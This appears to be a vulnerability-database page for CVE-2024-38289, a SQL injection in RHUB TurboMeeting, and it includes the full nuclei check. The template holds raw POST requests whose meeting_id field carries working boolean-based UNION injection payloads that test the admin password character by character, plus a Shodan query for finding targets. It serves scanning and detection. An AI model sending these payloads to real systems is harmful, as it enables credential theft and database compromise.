Browse / CVEs / CVE-2024-38289
CVE-2024-38289· rhubcom / turbomeeting
TurboMeeting - Boolean-based SQL Injection
A Boolean-based SQL injection vulnerability in the "RHUB TurboMeeting" web application. This vulnerability could allow an attacker to execute arbitrary SQL commands on the database server, potentially allowing them to access sensitive data or compromise the server.
Impact
Unauthenticated attackers can execute arbitrary SQL commands to extract sensitive data including user credentials, meeting information, and potentially compromise the entire TurboMeeting database.
Fix
Upgrade to the latest patched version of RHUB TurboMeeting or apply vendor-provided security updates.
How to confirm it
Send: POST /as/wapi/vmp
Positive when: contains in body_1 "<__Status__>SUCCEED</__Status__>" AND contains in body_2 "<__Status__>FAILED</__Status__>"Run it with nuclei: nuclei -id CVE-2024-38289 -u <target>
The full check
id: CVE-2024-38289
info:
name: TurboMeeting - Boolean-based SQL Injection
author: rootxharsh,iamnoooob,pdresearch
severity: critical
description: |
A Boolean-based SQL injection vulnerability in the "RHUB TurboMeeting" web application. This vulnerability could allow an attacker to execute arbitrary SQL commands on the database server, potentially allowing them to access sensitive data or compromise the server.
impact: |
Unauthenticated attackers can execute arbitrary SQL commands to extract sensitive data including user credentials, meeting information, and potentially compromise the entire TurboMeeting database.
remediation: |
Upgrade to the latest patched version of RHUB TurboMeeting or apply vendor-provided security updates.
reference:
- https://github.com/google/security-research/security/advisories/GHSA-vx5j-8pgx-v42v
classification:
epss-score: 0.40609
epss-percentile: 0.98663
cpe: cpe:2.3:a:rhubcom:turbomeeting:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: rhubcom
product: turbomeeting
shodan-query: html:"TurboMeeting"
tags: cve,cve2024,sqli,turbomeeting,vkev,vuln
http:
- raw:
- |
POST /as/wapi/vmp HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
meeting_id=1'/**/OR/**/1=1/**/UNION/**/select/**/password/**/from/**/employee/**/where/**/email='admin'/**/AND/**/substr(password,2,1)='b'/**
- |
POST /as/wapi/vmp HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
meeting_id=1'/**/OR/**/1=2/**/UNION/**/select/**/password/**/from/**/employee/**/where/**/email='admin'/**/AND/**/substr(password,2,1)='b'/**
matchers-condition: and
matchers:
- type: word
part: body_1
words:
- '<__Status__>SUCCEED</__Status__>'
- type: word
part: body_2
words:
- '<__Status__>FAILED</__Status__>'References
Use this check only on systems you are authorised to test. Where the data comes from